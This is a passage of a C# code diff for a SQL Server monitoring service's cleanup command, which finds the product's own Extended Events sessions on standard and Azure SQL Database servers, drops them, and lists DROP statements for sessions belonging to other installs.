-            lines.Add("    FROM sys.database_event_sessions AS des");
-            lines.Add($"    WHERE des.name = N'{name}'");
-            lines.Add(")");
-            lines.Add("BEGIN");
-            lines.Add("    " + DropStatement(name, XeSessionScope.Database));
-            lines.Add("END;");
+            lines.AddRange(GuardedDropLines(DropStatementName(name, XeSessionScope.Database), XeSessionScope.Database));
             lines.Add(string.Empty);
         }
 
+        lines.AddRange(PerInstallListing(XeSessionScope.Database));
+        lines.Add(string.Empty);
+
         return string.Join(Environment.NewLine, lines);
     }
 
+    /// <summary>A name the allow-list accepts, returned as it was given: the script prints a name only after
+    /// <see cref="DropStatement"/> has accepted it.</summary>
+    private static string DropStatementName(string name, XeSessionScope scope)
+    {
+        _ = DropStatement(name, scope);
+        return name;
+    }
+
     /// <summary>
-    /// The connected half of the verb, over an <see cref="IXeSessionCleanupTarget"/>: find the sessions, print each, drop each
-    /// unless <paramref name="dryRun"/>, print what the drops stop (<see cref="CaptureStopsNote"/>, only when one was
-    /// dropped) and the shared-names warning. Returns
+    /// The script's part for the sessions named for an install: a query that lists each one in the catalog of
+    /// <paramref name="scope"/> with its DROP statement as a column. The script connects to nothing, so it cannot know this
+    /// install's id; the operator reads it from the store and runs the statements that carry it. A session with another id
+    /// belongs to another install.
+    /// </summary>
+    private static IEnumerable<string> PerInstallListing(XeSessionScope scope)
+    {
+        var (catalogView, alias, on) = scope == XeSessionScope.Server
+            ? ("sys.server_event_sessions", "ses", "SERVER")
+            : ("sys.database_event_sessions", "des", "DATABASE");
+
+        yield return "-- Sessions named for an install (" + (scope == XeSessionScope.Server ? "server scope" : "database scope") + "): the query lists each one with its DROP statement.";
+        yield return "-- This install's sessions carry this install's id (the install_id column of config.config_install_id in the Darling store): run those statements.";
+        yield return "-- A session with another id belongs to another install: run its statement only when that install no longer monitors this server.";
+        yield return "SELECT";
+        yield return $"    {alias}.name,";
+        yield return $"    N'DROP EVENT SESSION ' + QUOTENAME({alias}.name) + N' ON {on};' AS drop_statement";
+        yield return $"FROM {catalogView} AS {alias}";
+        var patterns = new[]
+        {
+            LongQueryCompletionsCollector.LegacyXeSessionName,
+            DeadlocksCollector.XeSessionName,
+            BlockedProcessReportCollector.XeSessionName,
+        }.Select(PerInstallPattern).ToList();
+        for (var i = 0; i < patterns.Count; i++)
+        {
+            yield return (i == 0 ? "WHERE " : "OR ") + $"{alias}.name LIKE N'{patterns[i]}'";
+        }
+
+        yield return $"ORDER BY {alias}.name;";
+    }
+
+    /// <summary>
+    /// The connected half of the verb, over an <see cref="IXeSessionCleanupTarget"/>: find the sessions, print the shared-names
+    /// warning (before anything is dropped, so the operator reads it first), print each session, drop each unless
+    /// <paramref name="dryRun"/>, and print what the drops stop (<see cref="CaptureStopsNote"/>, only when one was dropped). Returns
     /// <see cref="DarlingCliCommands.DropXeSessionsExitCode.Success"/> when everything found was dropped (or listed, in a dry
     /// run) or nothing was there, and <see cref="DarlingCliCommands.DropXeSessionsExitCode.TargetUnavailable"/> when the target
-    /// could not be searched, part of it could not be searched, or a drop was refused. A refused drop does not stop the ones
-    /// after it.
+    /// could not be searched, a monitored part of it could not be searched, or a drop was refused. A refused drop does not
+    /// stop the ones after it. An excluded database that could not be searched for the long-query session is printed on
+    /// stderr as a note (<see cref="XeSessionSearch.Notes"/>) and does not change the exit code.
     /// </summary>
     internal static async Task<int> RunAsync(
         string serverLabel,
@@ -355,7 +617,8 @@ internal static async Task<int> RunAsync(
         IXeSessionCleanupTarget target,
         TextWriter output,
         TextWriter error,
-        CancellationToken cancellationToken)
+        CancellationToken cancellationToken,
+        string? installId = null)
     {
         XeSessionSearch search;
         try
@@ -376,13 +639,29 @@ internal static async Task<int> RunAsync(
             exitCode = DarlingCliCommands.DropXeSessionsExitCode.TargetUnavailable;
         }
 
-        var drops = PlanDrops(search.Sessions);
+        /* A note is not a failure: it names an excluded database the search opened only for the long-query session and could not
+           open, which the verb never searched before that session was added to the search. Exit code untouched. */
+        foreach (var note in search.Notes)
+        {
+            error.WriteLine(note);
+        }
+
+        if (!InstallId.IsValid(installId))
+        {
+            output.WriteLine(NoInstallIdNote);
+        }
+
+        var drops = PlanDrops(search.Sessions, installId);
         if (drops.Count == 0)
         {
-            /* "In the places searched": a database that could not be searched (a Problems entry, exit 2) may hold a session. */
-            output.WriteLine($"No Darling Extended Events sessions ({string.Join(", ", SessionNames)}) were found on '{serverLabel}'; nothing to drop in the places searched.");
+            /* "In the places searched": a database that could not be searched (a Problems entry, exit 2, or a note) may hold a session. */
+            output.WriteLine($"No Darling Extended Events sessions ({string.Join(", ", NamesToDrop(installId))}) were found on '{serverLabel}'; nothing to drop in the places searched.");
         }
 
+        /* Before the first drop: the warning says other installs recreate a shared session, which the operator needs to know
+           before the sessions are gone, not after. */
+        output.WriteLine("WARNING: " + SharedNamesWarning);
+
         var dropped = new List<ExistingXeSession>();
         foreach (var drop in drops)
         {
@@ -413,13 +692,35 @@ internal static async Task<int> RunAsync(
             output.WriteLine("Dry run: nothing was dropped.");
         }
 
-        output.WriteLine();
+        /* Another install's sessions are text for the operator: listed with a guarded statement, never handed to the target. */
+        var others = search.Others
+            .Where(other => IsOtherInstallSessionName(other.Name, installId)
+                && (other.Scope == XeSessionScope.Server || !string.IsNullOrWhiteSpace(other.Database)))
+            .DistinctBy(other => (other.Scope, other.Name, Database: other.Database?.ToUpperInvariant()))
+            .OrderBy(other => other.Scope)
+            .ThenBy(other => other.Database, StringComparer.OrdinalIgnoreCase)
+            .ThenBy(other => other.Name, StringComparer.Ordinal)
+            .ToList();
+        if (others.Count > 0)
+        {
+            output.WriteLine();
+            output.WriteLine(OtherInstallsHeading);
+            foreach (var other in others)
+            {
+                output.WriteLine($"  {Describe(other)}");
+                foreach (var line in GuardedDropLines(other.Name, other.Scope))
+                {
+                    output.WriteLine("    " + line);
+                }
+            }
+        }
+
         if (CaptureStopsNote(dropped) is { } captureStops)
         {
+            output.WriteLine();
             output.WriteLine(captureStops);
         }
 
-        output.WriteLine("WARNING: " + SharedNamesWarning);
         return exitCode;
     }
 
@@ -430,9 +731,14 @@ internal static async Task<int> RunAsync(
 
 /// <summary>
 /// <see cref="IXeSessionCleanupTarget"/> over a connected SQL Server target: the ServerRuntime the shared connector produced
-/// (#4732). On Azure SQL Database it visits the same databases <see cref="DarlingXeSessions.EnsureAllAsync"/> would, by the
-/// same rule (a registration that names a database is that database alone; one that names none enumerates master through the
-/// provider's own plan, honoring the server's excluded databases), and skips master, which cannot host a session.
+/// (#4732). On Azure SQL Database it visits two sets, and skips master, which cannot host a session. For the deadlock and
+/// blocked-process sessions it visits the same databases <see cref="DarlingXeSessions.EnsureAllAsync"/> would, by the same rule
+/// (a registration that names a database is that database alone; one that names none enumerates master through the provider's
+/// own plan, honoring the server's excluded databases). For the long-query completion session it visits every online database,
+/// the exclusions not applied, as the trace's off-side reconcile does, except a database monitored as its own server and a
+/// database where another registration of the logical server keeps the session (<see cref="PlanAzureSearch"/>). A database the
+/// search cannot open is a problem when the registration monitors it and a note when only the long-query search reaches it
+/// (<see cref="AzureSearchPlan.Unsearched"/>), because the verb never opened an excluded database before that search did.
 /// </summary>
 internal sealed class SqlServerXeSessionCleanupTarget : IXeSessionCleanupTarget
 {
@@ -442,16 +748,37 @@ internal sealed class SqlServerXeSessionCleanupTarget : IXeSessionCleanupTarget
 
     private readonly string[] _sessionNames;
 
+    private readonly IReadOnlyList<MonitoredServer> _registry;
+
+    private readonly string? _installId;
+
+    private readonly IReadOnlyList<ScheduleOverride>? _scheduleOverrides;
+
+    private readonly IReadOnlyDictionary<int, string>? _instanceNames;
+
     /// <param name="server">The connected server.</param>
     /// <param name="sessionNames">The names to search for and to drop, copied here. Every product caller leaves this null, which
     /// is <see cref="DarlingXeSessionCleanup.SessionNames"/>. The live test passes a test-only name so the real find and drop
     /// run against a real server without ever naming one of Darling's own sessions. Either way the target composes its find
     /// and drop text through the same methods the plan's constants and statements are built with, so the live test sends the
     /// text the product sends, and a test pins that a copy of Darling's names sends exactly the plan's text (#4732).</param>
-    public SqlServerXeSessionCleanupTarget(ServerRuntime server, IReadOnlyList<string>? sessionNames = null)
+    /// <param name="registry">The servers this service monitors, from the same list the verb resolved the target in. On Azure SQL
+    /// Database it says which databases belong to another registration of the same logical server.</param>
+    /// <param name="facts">What the verb read from the store: this install's id, which adds this install's own session names to the
+    /// names a product target (no <paramref name="sessionNames"/>) searches for and may drop, and makes it list the sessions of other
+    /// installs. A target given names of its own searches for those alone.</param>
+    internal SqlServerXeSessionCleanupTarget(
+        ServerRuntime server,
+        IReadOnlyList<string>? sessionNames = null,
+        IReadOnlyList<MonitoredServer>? registry = null,
+        XeCleanupStoreFacts? facts = null)
     {
         _server = server ?? throw new ArgumentNullException(nameof(server));
-        _sessionNames = (sessionNames ?? DarlingXeSessionCleanup.SessionNames).ToArray();
+        _registry = registry ?? Array.Empty<MonitoredServer>();
+        _installId = sessionNames is null && InstallId.IsValid(facts?.InstallId) ? facts!.InstallId : null;
+        _scheduleOverrides = facts?.ScheduleOverrides;
+        _instanceNames = facts?.InstanceNames;
+        _sessionNames = (sessionNames ?? DarlingXeSessionCleanup.NamesToDrop(_installId)).ToArray();
         if (_sessionNames.Length == 0 || _sessionNames.Any(string.IsNullOrWhiteSpace))
         {
             throw new ArgumentException("A cleanup target needs at least one session name, and none of them blank.", nameof(sessionNames));
@@ -459,8 +786,26 @@ public SqlServerXeSessionCleanupTarget(ServerRuntime server, IReadOnlyList<strin
 
         FindServerSql = DarlingXeSessionCleanup.ComposeFindSql(XeSessionScope.Server, _sessionNames);
         FindDatabaseSql = DarlingXeSessionCleanup.ComposeFindSql(XeSessionScope.Database, _sessionNames);
+        if (_installId is not null)
+        {
+            FindOthersServerSql = DarlingXeSessionCleanup.ComposeFindOthersSql(XeSessionScope.Server);
+            FindOthersDatabaseSql = DarlingXeSessionCleanup.ComposeFindOthersSql(XeSessionScope.Database);
+        }
     }
 
+    /// <summary>The query that lists the sessions of every install on a server that has server-scoped sessions. Null when the
+    /// target has no install id: it then lists none.</summary>
+    internal string? FindOthersServerSql { get; }
+
+    /// <summary>The same query in each database on Azure SQL Database. Null when the target has no install id.</summary>
+    internal string? FindOthersDatabaseSql { get; }
+
+    /// <summary>Whether a session of this name is a long-query session: the old shared one or an install's own. Both are searched
+    /// for in the same databases, which are not the deadlock and blocked-process sessions'.</summary>
+    internal static bool IsLongQuerySession(string sessionName) =>
+        string.Equals(sessionName, LongQueryCompletionsCollector.LegacyXeSessionName, StringComparison.OrdinalIgnoreCase)
+        || LongQueryCompletionsCollector.IsInstallSessionName(sessionName);
+
     /// <summary>The query <see cref="FindSessionsAsync"/> runs on a server that has server-scoped sessions.</summary>
     internal string FindServerSql { get; }
 
@@ -484,49 +829,251 @@ internal string StatementFor(XeSessionDrop drop)
         return DarlingXeSessionCleanup.ComposeDropStatement(session.Name, session.Scope);
     }
 
-    public async Task<XeSessionSearch> FindSessionsAsync(CancellationToken cancellationToken)
+    /// <summary>
+    /// Where a search of an Azure SQL Database server looks, and which sessions it reports in each database.
+    /// </summary>
+    /// <param name="AlwaysOnDatabases">The databases searched for every session but the long-query one: the registration's
+    /// monitored databases.</param>
+    /// <param name="LongQueryDatabases">The databases searched for the long-query session.</param>
+    internal sealed record AzureSearchPlan(IReadOnlyList<string> AlwaysOnDatabases, IReadOnlyList<string> LongQueryDatabases)
     {
-        var found = new List<ExistingXeSession>();
-        var problems = new List<string>();
+        /// <summary>Every database the search opens, once, in order.</summary>
+        public IReadOnlyList<string> Visited { get; } =
+            AlwaysOnDatabases.Concat(LongQueryDatabases).Distinct(StringComparer.OrdinalIgnoreCase).ToList();
+
+        /// <summary>Whether a session of this name, found in this database, belongs in the result.</summary>
+        public bool Reports(string database, string sessionName) =>
+            (IsLongQuerySession(sessionName)
+                ? LongQueryDatabases
+                : AlwaysOnDatabases).Contains(database, StringComparer.OrdinalIgnoreCase);
+
+        /// <summary>
+        /// The sentence for a database the search could not open, and whether it fails the run. A monitored database is
+        /// searched for every session, so one that cannot be opened is a problem (<see cref="XeSessionSearch.Problems"/>, exit
+        /// 2). A database in <see cref="LongQueryDatabases"/> and not in <see cref="AlwaysOnDatabases"/> is one the
+        /// registration excludes, opened only because a long-query session created before the exclusion stays there; the verb
+        /// never opened it before that search, so a login with no user in it, or a paused serverless database, is a note
+        /// (<see cref="XeSessionSearch.Notes"/>) that does not change the exit code.
+        /// </summary>
+        public (string Text, bool IsProblem) Unsearched(string database, string reason) =>
+            AlwaysOnDatabases.Contains(database, StringComparer.OrdinalIgnoreCase)
+                ? ($"Could not search database {database} for Extended Events sessions: {reason}", true)
+                : ($"Database {database} is excluded from monitoring and could not be searched for the long-query completion session ({reason}), so a {LongQueryCompletionsCollector.LegacyXeSessionName} session left there needs a manual drop.", false);
+    }
 
-        if (!_server.Target.IsAzureSqlDb)
+    /// <summary>
+    /// The databases the search visits. <paramref name="monitored"/> is the registration's monitored databases;
+    /// <paramref name="every"/> is every online database, with no exclusions.
+    /// </summary>
+    internal AzureSearchPlan PlanAzureSearch(IReadOnlyList<string> monitored, IReadOnlyList<string> every)
+    {
+        var alwaysOn = monitored.Where(database => !string.Equals(database, "master", StringComparison.OrdinalIgnoreCase)).ToList();
+        if (!_sessionNames.Any(IsLongQuerySession))
         {
-            using var connection = new SqlConnection(_server.ConnectionString);
-            await connection.OpenAsync(cancellationToken);
-            foreach (var name in await ReadNamesAsync(connection, FindServerSql, cancellationToken))
+            return new AzureSearchPlan(alwaysOn, Array.Empty<string>());
+        }
+
+        /* The long-query session follows the worker's rule for a trace that is off (LongQueryTraceDatabases.Plan), the one
+           the off-side reconcile applies: every listed database, the registration's exclusions not applied, because a session
+           created before a database was excluded stays there. Never master, never a database monitored as its own server, and
+           never a database where another registration of the logical server keeps the session (#4961). Another registration
+           keeps it when its effective long-query setting is on, its own override or else the install's default, from the
+           schedule rows the verb read (TraceOn). Its database scope is not read, so it counts as keeping the session in every
+           database it does not exclude, which leaves more, never fewer. */
+        var host = _server.Config.Host;
+        var selfId = _server.ServerId.ToString(CultureInfo.InvariantCulture);
+        var registrations = DarlingWorker.LongQueryTraceRegistrations(
+            host, _registry, TraceOn, databaseScope: _ => Array.Empty<string>());
+        var separatelyMonitored = AzureMasterScope.SeparatelyMonitoredDatabases(
+            isAzureSqlDb: true, selfId, host, _server.Config.Database, DarlingWorker.LiveAlertTargets(_registry));
+        var keptElsewhere = LongQueryTraceDatabases.KeptElsewhere(
+            selfId, host, every, registrations, DarlingWorker.LongQueryTraceServerSeparatelyMonitored(host, _registry));
+
+        var off = LongQueryTraceDatabases.Plan(enabled: false, every, Array.Empty<string>(), separatelyMonitored, keptElsewhere);
+        return new AzureSearchPlan(alwaysOn, off.Drop);
+    }
+
+    /// <summary>
+    /// Whether another registration's long-query trace is on, by its effective setting: its own override, else the install's
+    /// default (<see cref="StoreConfigProvider.ResolveSchedule"/>), the same rule the service applies. With no schedule rows
+    /// read the verb has nothing to go by, so every other registration counts as having it on.
+    /// </summary>
+    private bool TraceOn(int registrationId) =>
+        _scheduleOverrides is null
+        || StoreConfigProvider.ResolveSchedule(LongQueryCompletionsCollector.Instance.Name, registrationId, _scheduleOverrides).Enabled;
+
+    /// <summary>
+    /// The identity row of one registration, in the form the service's guard reads it (<see cref="ServerEpoch.LastKnownNameAsync"/>):
+    /// the verb read each registration's last-known instance name from the store already, so it hands that name back as the
+    /// row. No name is no row.
+    /// </summary>
+    private Task<Dictionary<string, string>> IdentityRowAsync(int registrationId, string carrier)
+    {
+        var state = new Dictionary<string, string>();
+        if (_instanceNames is not null && _instanceNames.TryGetValue(registrationId, out var name))
+        {
+            state[ServerEpoch.IdentityStateKey] = ServerEpoch.Serialize(new ServerEpoch.Stamp(null, name));
+        }
+
+        return Task.FromResult(state);
+    }
+
+    /// <summary>
+    /// The result of the server-scope search (every engine but Azure SQL Database) for the names the catalog gave: the sessions of
+    /// this install and the shared ones, and the sessions of other installs. Split from the connection so a test drives it
+    /// without a server.
+    ///
+    /// <para>#4961: the long-query session of this install is the instance's own, so it is left out of the sessions to drop,
+    /// with a note that says why, when <see cref="LongQueryTraceInstanceGuard.Kept"/> finds another registration of this
+    /// install on the same instance with its long-query trace on. That is the guard the service builds
+    /// (<see cref="DarlingWorker.LongQueryTraceInstanceGuardFor"/>), fed from the facts the verb read. A name that is not
+    /// known matches nothing, so the session is dropped, as the service drops it when its trace turns off. The old shared
+    /// long-query session and the shared sessions belong to no registration of this install, so they are never left.</para>
+    /// </summary>
+    internal async Task<XeSessionSearch> ServerScopeSearchAsync(IReadOnlyList<string> foundNames, IReadOnlyList<string> otherNames)
+    {
+        var found = foundNames.Select(name => new ExistingXeSession(name, XeSessionScope.Server)).ToList();
+        var others = otherNames.Select(name => new ExistingXeSession(name, XeSessionScope.Server)).ToList();
+        var notes = new List<string>();
+
+        if (_installId is not null)
+        {
+            var ownLongQuery = LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, _installId);
+            var own = found.Find(session => string.Equals(session.Name, ownLongQuery, StringComparison.OrdinalIgnoreCase));
+
+            /* Asked only when the session is there to drop, so a server without it reads no registry and no state. */
+            if (own is not null && (await DarlingWorker.LongQueryTraceInstanceGuardFor(_server.ServerId, _registry, TraceOn, IdentityRowAsync)).Kept)
             {
-                found.Add(new ExistingXeSession(name, XeSessionScope.Server));
+                found.Remove(own);
+                notes.Add($"Left in place: {DarlingXeSessionCleanup.Describe(own)}. Another registration of this install keeps it on the same instance.");
             }
+        }
+
+        return new XeSessionSearch(found, new List<string>()) { Others = others, Notes = notes };
+    }
 
-            return new XeSessionSearch(found, problems);
+    public async Task<XeSessionSearch> FindSessionsAsync(CancellationToken cancellationToken)
+    {
+        if (!_server.Target.IsAzureSqlDb)
+        {
+            using var connection = new SqlConnection(_server.ConnectionString);
+            await connection.OpenAsync(cancellationToken);
+            var foundNames = await ReadNamesAsync(connection, FindServerSql, cancellationToken);
+            var otherNames = FindOthersServerSql is null
+                ? new List<string>()
+                : await ReadNamesAsync(connection, FindOthersServerSql, cancellationToken);
+            return await ServerScopeSearchAsync(foundNames, otherNames);
         }
 
-        foreach (var database in await ListAzureDatabasesAsync(cancellationToken))
+        var monitored = await ListAzureDatabasesAsync(applyExclusions: true, cancellationToken);
+
+        /* The second listing only where exclusions could make it differ, and only for a search that includes the long-query
+           session. */
+        var every = _server.Config.ExcludedDatabases.Count > 0
+            && _sessionNames.Any(IsLongQuerySession)
+                ? await ListAzureDatabasesAsync(applyExclusions: false, cancellationToken)
+                : monitored;
+        return await SearchAzureDatabasesAsync(
+            PlanAzureSearch(monitored, every), NamesInDatabaseAsync, cancellationToken, FindOthersDatabaseSql is null ? null : OthersInDatabaseAsync);
+    }
+
+    /// <summary>
+    /// The Azure SQL Database search over the plan's databases, with the read of one database passed in so a test can make one
+    /// refuse the connection without a server. A database that cannot be searched is filed by <see cref="AzureSearchPlan.Unsearched"/>:
+    /// a monitored one as a problem, an excluded one as a note.
+    /// </summary>
+    internal static async Task<XeSessionSearch> SearchAzureDatabasesAsync(
+        AzureSearchPlan plan,
+        Func<string, CancellationToken, Task<IReadOnlyList<string>>> namesInDatabase,
+        CancellationToken cancellationToken,
+        Func<string, CancellationToken, Task<IReadOnlyList<string>>>? othersInDatabase = null)
+    {
+        var found = new List<ExistingXeSession>();
+        var problems = new List<string>();
+        var notes = new List<string>();
+        var others = new List<ExistingXeSession>();
+
+        foreach (var database in plan.Visited)
         {
             cancellationToken.ThrowIfCancellationRequested();
-            if (string.Equals(database, "master", StringComparison.OrdinalIgnoreCase))
-            {
-                continue;
-            }
 
             try
             {
-                using var connection = new SqlConnection(SqlServerTargetProvider.Instance.WithDatabase(_server.ConnectionString, database));
-                await connection.OpenAsync(cancellationToken);
-                foreach (var name in await ReadNamesAsync(connection, FindDatabaseSql, cancellationToken))
+                foreach (var name in await namesInDatabase(database, cancellationToken))
                 {
-                    found.Add(new ExistingXeSession(name, XeSessionScope.Database, database));
+                    if (plan.Reports(database, name))
+                    {
+                        found.Add(new ExistingXeSession(name, XeSessionScope.Database, database));
+                    }
+                }
+
+                /* The sessions of other installs are listed from every database the search opened. */
+                if (othersInDatabase is not null)
+                {
+                    foreach (var name in await othersInDatabase(database, cancellationToken))
+                    {
+                        others.Add(new ExistingXeSession(name, XeSessionScope.Database, database));
+                    }
                 }
             }
             catch (Exception ex) when (ex is not OperationCanceledException)
             {
-                problems.Add($"Could not search database {database} for Extended Events sessions: {ex.Message}");
+                var (text, isProblem) = plan.Unsearched(database, ex.Message);
+                (isProblem ? problems : notes).Add(text);
             }
         }
 
-        return new XeSessionSearch(found, problems);
+        return new XeSessionSearch(found, problems) { Notes = notes, Others = others };
+    }
+
+    private async Task<IReadOnlyList<string>> NamesInDatabaseAsync(string database, CancellationToken cancellationToken)
+    {
+        using var connection = new SqlConnection(SqlServerTargetProvider.Instance.WithDatabase(_server.ConnectionString, database));
+        await connection.OpenAsync(cancellationToken);
+        return await ReadNamesAsync(connection, FindDatabaseSql, cancellationToken);
+    }
+
+    private async Task<IReadOnlyList<string>> OthersInDatabaseAsync(string database, CancellationToken cancellationToken)
+    {
+        using var connection = new SqlConnection(SqlServerTargetProvider.Instance.WithDatabase(_server.ConnectionString, database));
+        await connection.OpenAsync(cancellationToken);
+        return await ReadNamesAsync(connection, FindOthersDatabaseSql!, cancellationToken);
+    }
+
+    /// <summary>A test's stand-in for the connection a drop opens: called with the connection string it would open, it answers
+    /// the database the drop's statements run through. Null in production, which opens a SQL connection.</summary>
+    internal Func<string, CancellationToken, Task<IAlwaysOnXeDatabase>>? OpenDatabaseForTests { get; set; }
+
+    /// <summary>The STOP that goes before the DROP of one found session over a registration with read-only intent (#4961). It is
+    /// refused unless the name is one of the names this target was given, spelled exactly, as <see cref="StatementFor"/> is, and
+    /// it is for a database-scoped session only: the stop exists for the read-only replicas of Azure SQL Database. Otherwise it is
+    /// the statement <see cref="DarlingXeSessionCleanup.ComposeStopStatement"/> builds, which is also what
+    /// <see cref="DarlingXeSessionCleanup.StopStatement"/> is for Darling's own names.</summary>
+    internal string StopStatementFor(XeSessionDrop drop)
+    {
+        ArgumentNullException.ThrowIfNull(drop);
+
+        var session = drop.Session;
+        if (session.Scope != XeSessionScope.Database)
+        {
+            throw new ArgumentException("Only a database-scoped session is stopped before it is dropped.", nameof(drop));
+        }
+
+        if (!_sessionNames.Contains(session.Name, StringComparer.Ordinal))
+        {
+            throw new ArgumentException("Only the session names this target was given can be stopped by it.", nameof(drop));
+        }
+
+        return DarlingXeSessionCleanup.ComposeStopStatement(session.Name);
     }
 
+    /// <summary>
+    /// Drops one found session. On Azure SQL Database a session cannot be dropped over a read-only connection, so for a
+    /// registration with read-only intent the drop goes in the order the engine documents for a session that runs on a read-only
+    /// replica (#4961): the session is stopped over the registration's own connection, only when it runs there, and then dropped
+    /// over a connection with the intent forced off, which reaches the primary. Every other target, and every server-scoped one, sends
+    /// the one DROP over its own connection.
+    /// </summary>
     public async Task DropAsync(XeSessionDrop drop, CancellationToken cancellationToken)
     {
         ArgumentNullException.ThrowIfNull(drop);
@@ -536,11 +1083,61 @@ public async Task DropAsync(XeSessionDrop drop, CancellationToken cancellationTo
         var connectionString = drop.Session.Scope == XeSessionScope.Database
             ? SqlServerTargetProvider.Instance.WithDatabase(_server.ConnectionString, drop.Session.Database!)
             : _server.ConnectionString;
+        var readOnlyIntent = drop.Session.Scope == XeSessionScope.Database && DarlingXeSessions.HasReadOnlyIntent(connectionString);
+        var stop = readOnlyIntent ? StopStatementFor(drop) : null;
 
-        using var connection = new SqlConnection(connectionString);
-        await connection.OpenAsync(cancellationToken);
-        using var command = new SqlCommand(statement, connection) { CommandTimeout = CommandTimeoutSeconds };
-        await command.ExecuteNonQueryAsync(cancellationToken);
+        var own = await OpenDatabaseAsync(connectionString, cancellationToken);
+        IAlwaysOnXeDatabase database = own;
+        try
+        {
+            if (!readOnlyIntent)
+            {
+                await own.ExecuteAsync(statement, cancellationToken);
+                return;
+            }
+
+            /* The services' own wrapper: reads and the stop go over the own connection, the drop over one without the intent. */
+            database = DarlingAlwaysOnXeSessions.WithReadOnlyIntent(connectionString, own, OpenDatabaseForTests);
+            /* Hyperscale limit (#4961): with several high-availability replicas, a read-only connection lands on one replica the app
+               cannot choose, so this stop reaches only that one, and a copy of the session that runs on another replica is not stopped.
+               Microsoft Learn describes no way to address one HA replica; it says the read-intent workload is "distributed arbitrarily
+               across all available HA replicas": https://learn.microsoft.com/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica */
+            if (await database.IsStartedAsync(drop.Session.Name, cancellationToken))
+            {
+                await database.ExecuteAsync(stop!, cancellationToken);
+            }
+
+            await database.ExecuteWithoutReadOnlyIntentAsync(statement, cancellationToken);
+        }
+        finally
+        {
+            (database as IDisposable)?.Dispose();
+            if (!ReferenceEquals(database, own))
+            {
+                (own as IDisposable)?.Dispose();
+            }
+        }
+    }
+
+    private async Task<IAlwaysOnXeDatabase> OpenDatabaseAsync(string connectionString, CancellationToken cancellationToken)
+    {
+        if (OpenDatabaseForTests is { } open)
+        {
+            return await open(connectionString, cancellationToken);
+        }
+
+        var connection = new SqlConnection(connectionString);
+        try
+        {
+            await connection.OpenAsync(cancellationToken);
+        }
+        catch
+        {
+            await connection.DisposeAsync();
+            throw;
+        }
+
+        return new DarlingAlwaysOnXeSessions.Database(connection, ownsConnection: true);
     }
 
     private static async Task<List<string>> ReadNamesAsync(SqlConnection connection, string sql, CancellationToken cancellationToken)
@@ -557,13 +1154,15 @@ private static async Task<List<string>> ReadNamesAsync(SqlConnection connection,
     }
 
     /// <summary>
-    /// The databases <see cref="DarlingXeSessions.EnsureAllAsync"/> visits on Azure SQL Database, by the collector runner's
-    /// rule (see its <c>GetAzureDatabaseListAsync</c>): a registration that names a database sweeps that database alone
-    /// (#2220), and one that names none enumerates master through the provider's own plan. Unlike the runner there is no
-    /// fallback when master cannot be read (a registration that names no database has nothing to fall back to), so the
-    /// failure propagates and the verb reports the server as unavailable.
+    /// The databases the search lists on Azure SQL Database, by the collector runner's rule (see its
+    /// <c>GetAzureDatabaseListAsync</c>): a registration that names a database sweeps that database alone (#2220), and one
+    /// that names none enumerates master through the provider's own plan. With <paramref name="applyExclusions"/> the list is
+    /// the one <see cref="DarlingXeSessions.EnsureAllAsync"/> visits, minus the registration's excluded databases; without it,
+    /// every online database, as the long-query trace's off-side reconcile lists them. Unlike the runner there is no fallback
+    /// when master cannot be read (a registration that names no database has nothing to fall back to), so the failure
+    /// propagates and the verb reports the server as unavailable.
     /// </summary>
-    private async Task<IReadOnlyList<string>> ListAzureDatabasesAsync(CancellationToken cancellationToken)
+    private async Task<IReadOnlyList<string>> ListAzureDatabasesAsync(bool applyExclusions, CancellationToken cancellationToken)
     {
         var own = AzureSweepScope.OwnDatabaseOrEmpty(new SqlConnectionStringBuilder(_server.ConnectionString).InitialCatalog);
         if (own.Count > 0)
@@ -571,8 +1170,7 @@ private async Task<IReadOnlyList<string>> ListAzureDatabasesAsync(CancellationTo
             return own;
         }
 
-        var (masterConnectionString, query) = SqlServerTargetProvider.Instance.BuildDatabaseListPlan(
-            _server.ConnectionString, _server.Config.ExcludedDatabases, databaseScope: null);
+        var (masterConnectionString, query) = DarlingCollectorRunner.AzureDatabaseListPlan(_server, databaseScope: null, applyExclusions);
 
         var databases = new List<string>();
         using var connection = new SqlConnection(masterConnectionString);
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs
index 975c3c2fdb..5700b549ef 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs
@@ -9,11 +9,14 @@
 using System;
 using System.Collections.Generic;
 using System.Data;
+using System.Globalization;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Data.SqlClient;
 using Microsoft.Extensions.Logging;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service.Targets;
 
 namespace PerformanceMonitor.Darling.Service;
 
@@ -49,6 +52,13 @@ forever. XE does not exist on PostgreSQL. */
             return;
         }
 
+        /* A test replaces the whole ensure of one server. Null in production. */
+        if (runner.XeEnsureOverrideForTests is { } ensureOverride)
+        {
+            await ensureOverride(server, cancellationToken);
+            return;
+        }
+
         if (server.Target.IsAzureSqlDb)
         {
             await EnsureDatabaseScopedAsync(server, runner, logger, cancellationToken);
@@ -110,13 +120,16 @@ private static async Task EnsureDatabaseScopedAsync(ServerRuntime server, Darlin
         List<string> databases;
         try
         {
-            /* No #3477 scope here, deliberately: this list provisions SESSIONS for three collectors
-               (deadlocks, blocked_process_report, long_query_completions), each of which may carry a
-               DIFFERENT scope — the scope is a COLLECTION predicate on each collector's own read
-               fan-out, while the session inventory stays server-shaped. An unread session's ring
-               buffer is bounded server-side; a session dropped because ONE collector was scoped
-               would blind the other two. */
-            databases = await runner.GetAzureDatabaseListAsync(server, databaseScope: null, cancellationToken);
+            /* No #3477 scope here, deliberately: this list provisions the always-on SESSIONS for two
+               collectors (deadlocks, blocked_process_report), each of which may carry a DIFFERENT
+               scope — the scope is a COLLECTION predicate on each collector's own read fan-out, while
+               the session inventory stays server-shaped. An unread session's ring buffer is bounded
+               server-side; a session dropped because ONE collector was scoped would blind the other.
+               The opt-in long-query trace is the other rule: it follows its own collector's scope
+               (ReconcileLongQueryCompletionsAzureAsync). */
+            databases = runner.AzureDatabaseListOverrideForTests is { } listOverride
+                ? await listOverride(server, cancellationToken)
